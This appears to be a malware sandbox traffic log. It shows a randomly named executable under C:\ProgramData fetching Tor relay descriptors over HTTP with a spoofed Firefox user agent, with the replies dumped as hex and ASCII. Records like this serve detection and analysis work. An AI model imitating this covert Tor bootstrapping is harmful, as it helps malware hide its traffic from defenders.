69 64 74 68 20 32 30 34 38 30 30 30 20 34 30 39 36 30 30 30 20 32 33 35 34 36 36 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 35 35 45 35 42 33 38 32 30 38 46 33 42 35 34 43 39 34 36 36 33 42 44 41 34 42 42 41 39 45 41 34 36 38 38 39 35 33 20 46 6b 7a 77 47 61 56 66 32 64 33 57 75 4a 35 31 35 38 67 47 47 5a 38 49 46 6e 37 38 30 6c 70 48 34 55 42 48 47 51 52 6c 79 4b 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 59 39 51 49 68 2f 79 69 58 64 4a 51 31 79 51 58 64 6a 53 6f 6e 68 54 6b 6a 41 67 58 4d 34 58 7a 6e 38 75 78 77 79 44 73 4e 7a 65 57 6a 31 54 5a 45 54 36 5a 57 5a 0a 6c 32 47 52 4b 41 4e 46 77 46 53 56 52 49 63 6d 69 34 33 75 75 63 54 69 43 7a 48 31 65 72 53 72 57 30 6b 52 4a 62 65 62 4a 65 4a 68 43 35 77 69 74 51 52 76 4a 49 63 6b 75 79 49 4f 74 37 30 64 0a 43 68 76 31 36 6b 77 55 4a 4d 69 63 7a 79 44 70 59 2f 77 37 5a 6c 32 76 43 6c 6a 59 69 6e 79 33 73 4b 57 42 70 58 41 35 5a 41 61 2b 79 4e 75 70 67 42 6e 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 42 46 39 45 44 68 4c 53 Data Ascii: router GalaxyNewsRadio 84.62.245.6 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUxAVbs1PI0VDEFUz55fRfxh+7MGNrA5t5aN3IesGfsUqxQAQAgBABBQHKwM8IGgQ9dK2R4NMgzsLz/onx3FQItuxRviMt6HWhSKcoj6ewElNnaP4YoESMzdmvsKUrrzYeLejw33pUH8qKCproA73Xm+dRyD8S2r6+FSrkvCwUuxtAkPA51bQU=-----END ED25519 CERT-----master-key-ed25519 QUBysDPCBoEPXStkeDTIM7C8/6J8dxUCLbsUb4jLeh0platform Tor 0.4.7.10 on OpenBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 01:14:47fingerprint 45BC 9917 F7E1 3770 736B BFFC 22E6 F170 E14E 16ECuptime 129794bandwidth 2048000 4096000 2354662extra-info-digest D555E5B38208F3B54C94663BDA4BBA9EA4688953 FkzwGaVf2d3WuJ5158gGGZ8IFn780lpH4UBHGQRlyKoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALY9QIh/yiXdJQ1yQXdjSonhTkjAgXM4Xzn8uxwyDsNzeWj1TZET6ZWZl2GRKANFwFSVRIcmi43uucTiCzH1erSrW0kRJbebJeJhC5witQRvJIckuyIOt70dChv16kwUJMiczyDpY/w7Zl2vCljYiny3sKWBpXA5ZAa+yNupgBn5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALBF9EDhLS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49749	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:44.069683075 CET	7871	OUT	GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:44.120121956 CET	7872	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:29 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:29 GMT Data Raw: 72 6f 75 74 65 72 20 6f 6e 69 6f 6e 44 41 4f 72 65 6c 30 61 64 65 64 31 20 35 2e 32 2e 37 39 2e 31 39 30 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 74 41 5a 7a 70 74 41 56 55 39 5a 46 59 38 55 37 64 6e 6a 70 51 52 55 6d 73 47 42 7a 44 56 69 46 2b 79 64 6b 42 58 74 6a 51 52 4e 2f 6b 41 51 41 67 42 41 44 55 75 45 66 41 0a 42 5a 4f 6a 31 6c 65 6c 33 7a 42 72 50 64 74 76 66 72 45 59 32 51 77 6d 56 31 63 34 48 6b 42 56 6f 68 68 54 33 74 68 56 65 31 69 68 59 59 79 64 79 61 72 44 73 31 42 79 54 52 74 63 74 75 38 73 0a 43 69 59 6b 6c 43 52 33 63 4c 48 46 37 6c 44 34 6d 31 6e 6c 4e 70 45 30 7a 6d 78 6b 76 38 48 45 4a 4e 46 6d 32 56 6f 77 74 43 59 69 32 78 67 47 50 4a 6b 70 73 39 69 58 49 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 31 4c 68 48 77 41 57 54 6f 39 5a 58 70 64 38 77 61 7a 33 62 62 33 36 78 47 4e 6b 4d 4a 6c 64 58 4f 42 35 41 56 61 49 59 55 39 34 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 30 3a 32 32 3a 34 33 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 41 38 20 43 43 42 31 20 46 42 37 30 20 39 38 34 32 20 32 36 32 33 20 31 32 38 33 20 35 39 36 44 20 41 37 33 34 20 41 38 30 45 20 33 46 36 46 0a 75 70 74 69 6d 65 20 32 34 30 31 32 31 34 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 33 33 30 38 36 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 33 39 33 31 35 37 36 38 39 34 32 36 30 32 43 37 43 34 36 33 34 46 41 30 43 39 33 44 32 43 39 35 30 41 39 45 44 38 30 38 20 6e 33 38 6a 72 6a 50 66 35 48 38 67 6c 64 4e 46 66 72 2b 41 75 34 4e 7a 33 65 33 36 32 55 74 42 63 4a 50 7a 6e 4c 43 56 76 73 49 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 68 64 30 51 51 51 36 53 61 57 52 6b 4f 6f 52 76 35 76 54 45 68 2b 4f 63 73 36 4d 75 67 4b 58 59 75 68 69 70 70 77 39 64 76 74 48 7a 46 6f 2b 43 73 6e 67 38 36 4e 0a 78 62 6c 6c 77 45 4a 65 39 2b 71 4f 55 44 2b 56 43 39 2b 67 79 7a 6c 2b 71 44 79 6e 6e 51 33 38 77 71 31 66 4e 6a 48 54 36 36 64 63 51 4e 68 57 54 76 78 38 54 30 66 42 53 44 75 6e 73 64 2f 32 0a 2b 45 35 75 41 72 64 48 33 53 6f 37 56 52 48 56 65 58 2b 57 58 71 47 56 64 69 57 64 46 76 43 4e 76 4d 42 6e 6d 5a 54 50 72 72 36 75 37 4a 39 53 37 51 35 50 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 38 48 Data Ascii: router onionDAOrel0aded1 5.2.79.190 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxVtAZzptAVU9ZFY8U7dnjpQRUmsGBzDViF+ydkBXtjQRN/kAQAgBADUuEfABZOj1lel3zBrPdtvfrEY2QwmV1c4HkBVohhT3thVe1ihYYydyarDs1ByTRtctu8sCiYklCR3cLHF7lD4m1nlNpE0zmxkv8HEJNFm2VowtCYi2xgGPJkps9iXIA4=-----END ED25519 CERT-----master-key-ed25519 1LhHwAWTo9ZXpd8waz3bb36xGNkMJldXOB5AVaIYU94platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 00:22:43fingerprint 02A8 CCB1 FB70 9842 2623 1283 596D A734 A80E 3F6Fuptime 2401214bandwidth 1073741824 1073741824 2330867extra-info-digest 39315768942602C7C4634FA0C93D2C950A9ED808 n38jrjPf5H8gldNFfr+Au4Nz3e362UtBcJPznLCVvsIonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKhd0QQQ6SaWRkOoRv5vTEh+Ocs6MugKXYuhippw9dvtHzFo+Csng86NxbllwEJe9+qOUD+VC9+gyzl+qDynnQ38wq1fNjHT66dcQNhWTvx8T0fBSDunsd/2+E5uArdH3So7VRHVeX+WXqGVdiWdFvCNvMBnmZTPrr6u7J9S7Q5PAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL8H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49750	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:44.431454897 CET	7880	OUT	GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:44.485508919 CET	7882	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:30 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:30 GMT Data Raw: 72 6f 75 74 65 72 20 47 61 6c 61 78 79 4e 65 77 73 52 61 64 69 6f 20 38 34 2e 36 32 2e 32 34 35 2e 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 78 41 56 62 73 31 50 49 30 56 44 45 46 55 7a 35 35 66 52 66 78 68 2b 37 4d 47 4e 72 41 35 74 35 61 4e 33 49 65 73 47 66 73 55 71 78 51 41 51 41 67 42 41 42 42 51 48 4b 77 0a 4d 38 49 47 67 51 39 64 4b 32 52 34 4e 4d 67 7a 73 4c 7a 2f 6f 6e 78 33 46 51 49 74 75 78 52 76 69 4d 74 36 48 57 68 53 4b 63 6f 6a 36 65 77 45 6c 4e 6e 61 50 34 59 6f 45 53 4d 7a 64 6d 76 73 0a 4b 55 72 72 7a 59 65 4c 65 6a 77 33 33 70 55 48 38 71 4b 43 70 72 6f 41 37 33 58 6d 2b 64 52 79 44 38 53 32 72 36 2b 46 53 72 6b 76 43 77 55 75 78 74 41 6b 50 41 35 31 62 51 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 55 42 79 73 44 50 43 42 6f 45 50 58 53 74 6b 65 44 54 49 4d 37 43 38 2f 36 4a 38 64 78 55 43 4c 62 73 55 62 34 6a 4c 65 68 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4f 70 65 6e 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 31 3a 31 34 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 35 42 43 20 39 39 31 37 20 46 37 45 31 20 33 37 37 30 20 37 33 36 42 20 42 46 46 43 20 32 32 45 36 20 46 31 37 30 20 45 31 34 45 20 31 36 45 43 0a 75 70 74 69 6d 65 20 31 32 39 37 39 34 0a 62 61 6e 64 77 69 64 74 68 20 32 30 34 38 30 30 30 20 34 30 39 36 30 30 30 20 32 33 35 34 36 36 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 35 35 45 35 42 33 38 32 30 38 46 33 42 35 34 43 39 34 36 36 33 42 44 41 34 42 42 41 39 45 41 34 36 38 38 39 35 33 20 46 6b 7a 77 47 61 56 66 32 64 33 57 75 4a 35 31 35 38 67 47 47 5a 38 49 46 6e 37 38 30 6c 70 48 34 55 42 48 47 51 52 6c 79 4b 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 59 39 51 49 68 2f 79 69 58 64 4a 51 31 79 51 58 64 6a 53 6f 6e 68 54 6b 6a 41 67 58 4d 34 58 7a 6e 38 75 78 77 79 44 73 4e 7a 65 57 6a 31 54 5a 45 54 36 5a 57 5a 0a 6c 32 47 52 4b 41 4e 46 77 46 53 56 52 49 63 6d 69 34 33 75 75 63 54 69 43 7a 48 31 65 72 53 72 57 30 6b 52 4a 62 65 62 4a 65 4a 68 43 35 77 69 74 51 52 76 4a 49 63 6b 75 79 49 4f 74 37 30 64 0a 43 68 76 31 36 6b 77 55 4a 4d 69 63 7a 79 44 70 59 2f 77 37 5a 6c 32 76 43 6c 6a 59 69 6e 79 33 73 4b 57 42 70 58 41 35 5a 41 61 2b 79 4e 75 70 67 42 6e 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 42 46 39 45 44 68 4c 53 Data Ascii: router GalaxyNewsRadio 84.62.245.6 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUxAVbs1PI0VDEFUz55fRfxh+7MGNrA5t5aN3IesGfsUqxQAQAgBABBQHKwM8IGgQ9dK2R4NMgzsLz/onx3FQItuxRviMt6HWhSKcoj6ewElNnaP4YoESMzdmvsKUrrzYeLejw33pUH8qKCproA73Xm+dRyD8S2r6+FSrkvCwUuxtAkPA51bQU=-----END ED25519 CERT-----master-key-ed25519 QUBysDPCBoEPXStkeDTIM7C8/6J8dxUCLbsUb4jLeh0platform Tor 0.4.7.10 on OpenBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 01:14:47fingerprint 45BC 9917 F7E1 3770 736B BFFC 22E6 F170 E14E 16ECuptime 129794bandwidth 2048000 4096000 2354662extra-info-digest D555E5B38208F3B54C94663BDA4BBA9EA4688953 FkzwGaVf2d3WuJ5158gGGZ8IFn780lpH4UBHGQRlyKoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALY9QIh/yiXdJQ1yQXdjSonhTkjAgXM4Xzn8uxwyDsNzeWj1TZET6ZWZl2GRKANFwFSVRIcmi43uucTiCzH1erSrW0kRJbebJeJhC5witQRvJIckuyIOt70dChv16kwUJMiczyDpY/w7Zl2vCljYiny3sKWBpXA5ZAa+yNupgBn5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALBF9EDhLS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49751	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:44.615205050 CET	7884	OUT	GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:44.659997940 CET	7886	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:30 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:30 GMT Data Raw: 72 6f 75 74 65 72 20 30 78 36 37 37 32 36 35 37 39 20 38 39 2e 35 38 2e 36 30 2e 32 30 38 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 61 45 41 62 44 46 54 42 6c 38 6a 66 42 77 56 44 37 65 38 74 51 4e 6c 4a 68 56 53 48 44 51 43 43 75 71 79 78 31 2f 7a 66 4b 55 6b 6c 67 59 41 51 41 67 42 41 44 57 4c 54 30 59 0a 50 46 35 65 64 59 36 53 76 55 62 69 71 70 47 4a 75 67 55 6e 4e 71 68 48 32 73 69 2b 31 2f 67 46 61 57 58 66 30 4a 66 59 42 6d 4b 42 49 52 57 70 78 4b 62 44 4e 42 44 39 58 39 5a 6d 61 62 43 6f 0a 76 61 49 77 50 71 6a 39 57 56 35 57 2f 4d 66 43 77 34 71 6d 70 64 58 72 5a 75 77 5a 46 34 4d 48 53 6e 78 68 6e 4e 57 6d 57 46 6a 31 2f 4c 30 68 48 74 6e 7a 52 6b 63 67 46 77 73 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 31 69 30 39 47 44 78 65 58 6e 57 4f 6b 72 31 47 34 71 71 52 69 62 6f 46 4a 7a 61 6f 52 39 72 49 76 74 66 34 42 57 6c 6c 33 39 41 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 61 3a 34 63 63 30 3a 31 3a 32 65 38 3a 34 33 30 3a 64 30 66 66 3a 66 65 31 36 3a 61 66 34 66 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 32 3a 31 30 3a 31 39 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 42 32 20 31 35 32 31 20 32 39 36 38 20 36 41 45 30 20 42 45 30 35 20 46 33 44 31 20 34 36 30 35 20 39 31 44 44 20 37 31 43 34 20 42 42 31 35 0a 75 70 74 69 6d 65 20 36 34 38 32 30 37 0a 62 61 6e 64 77 69 64 74 68 20 31 32 35 38 32 39 31 32 20 31 36 37 37 37 32 31 36 20 31 32 36 33 32 39 32 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 44 41 44 39 38 34 31 36 46 42 36 38 37 37 34 45 30 30 35 39 44 42 39 32 42 35 35 43 41 37 43 34 42 41 36 45 42 42 37 20 67 42 76 58 68 30 4f 62 74 6b 41 33 6a 6b 6e 4b 49 7a 59 46 6a 5a 4e 4b 46 67 65 62 56 4b 49 63 4a 75 76 38 4a 70 32 50 7a 6e 73 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4f 44 4f 36 47 34 39 33 44 44 6a 2f 36 4a 6d 52 76 33 6b 38 2f 61 51 68 57 42 72 72 73 6d 51 4c 51 64 52 56 67 35 73 33 44 6a 61 6d 55 51 41 4d 4f 64 48 41 61 63 41 0a 55 73 63 57 46 4a 56 47 2f 4c 69 61 4b 57 66 45 65 42 59 6b 42 65 54 35 45 49 70 76 50 49 32 31 55 2f 4d 42 55 53 45 4c 57 74 51 68 6a 57 56 6b 45 73 71 4a 5a 32 52 48 63 77 50 44 51 76 6e 76 0a 6e 4b 37 46 31 7a 43 61 6c 38 75 64 4b 50 6e 34 39 61 56 61 33 72 56 43 30 4c 50 32 4d 53 57 46 66 66 74 63 2f 53 71 42 35 54 36 64 7a 4d 73 41 51 6a 38 4a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 Data Ascii: router 0x67726579 89.58.60.208 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxaEAbDFTBl8jfBwVD7e8tQNlJhVSHDQCCuqyx1/zfKUklgYAQAgBADWLT0YPF5edY6SvUbiqpGJugUnNqhH2si+1/gFaWXf0JfYBmKBIRWpxKbDNBD9X9ZmabCovaIwPqj9WV5W/MfCw4qmpdXrZuwZF4MHSnxhnNWmWFj1/L0hHtnzRkcgFws=-----END ED25519 CERT-----master-key-ed25519 1i09GDxeXnWOkr1G4qqRiboFJzaoR9rIvtf4BWll39Aor-address [2a0a:4cc0:1:2e8:430:d0ff:fe16:af4f]:9001platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 02:10:19fingerprint 02B2 1521 2968 6AE0 BE05 F3D1 4605 91DD 71C4 BB15uptime 648207bandwidth 12582912 16777216 12632922extra-info-digest FDAD98416FB68774E0059DB92B55CA7C4BA6EBB7 gBvXh0ObtkA3jknKIzYFjZNKFgebVKIcJuv8Jp2Pznsonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAODO6G493DDj/6JmRv3k8/aQhWBrrsmQLQdRVg5s3DjamUQAMOdHAacAUscWFJVG/LiaKWfEeBYkBeT5EIpvPI21U/MBUSELWtQhjWVkEsqJZ2RHcwPDQvnvnK7F1zCal8udKPn49aVa3rVC0LP2MSWFfftc/SqB5T6dzMsAQj8JAgMBAAE=-----END RSA PUBLIC KEY-----signing-key

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49752	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:45.166342020 CET	7892	OUT	GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:45.214689016 CET	7894	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:30 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:30 GMT Data Raw: 72 6f 75 74 65 72 20 47 61 6c 61 78 79 4e 65 77 73 52 61 64 69 6f 20 38 34 2e 36 32 2e 32 34 35 2e 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 78 41 56 62 73 31 50 49 30 56 44 45 46 55 7a 35 35 66 52 66 78 68 2b 37 4d 47 4e 72 41 35 74 35 61 4e 33 49 65 73 47 66 73 55 71 78 51 41 51 41 67 42 41 42 42 51 48 4b 77 0a 4d 38 49 47 67 51 39 64 4b 32 52 34 4e 4d 67 7a 73 4c 7a 2f 6f 6e 78 33 46 51 49 74 75 78 52 76 69 4d 74 36 48 57 68 53 4b 63 6f 6a 36 65 77 45 6c 4e 6e 61 50 34 59 6f 45 53 4d 7a 64 6d 76 73 0a 4b 55 72 72 7a 59 65 4c 65 6a 77 33 33 70 55 48 38 71 4b 43 70 72 6f 41 37 33 58 6d 2b 64 52 79 44 38 53 32 72 36 2b 46 53 72 6b 76 43 77 55 75 78 74 41 6b 50 41 35 31 62 51 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 55 42 79 73 44 50 43 42 6f 45 50 58 53 74 6b 65 44 54 49 4d 37 43 38 2f 36 4a 38 64 78 55 43 4c 62 73 55 62 34 6a 4c 65 68 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4f 70 65 6e 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 31 3a 31 34 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 35 42 43 20 39 39 31 37 20 46 37 45 31 20 33 37 37 30 20 37 33 36 42 20 42 46 46 43 20 32 32 45 36 20 46 31 37 30 20 45 31 34 45 20 31 36 45 43 0a 75 70 74 69 6d 65 20 31 32 39 37 39 34 0a 62 61 6e 64 77 69 64 74 68 20 32 30 34 38 30 30 30 20 34 30 39 36 30 30 30 20 32 33 35 34 36 36 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 35 35 45 35 42 33 38 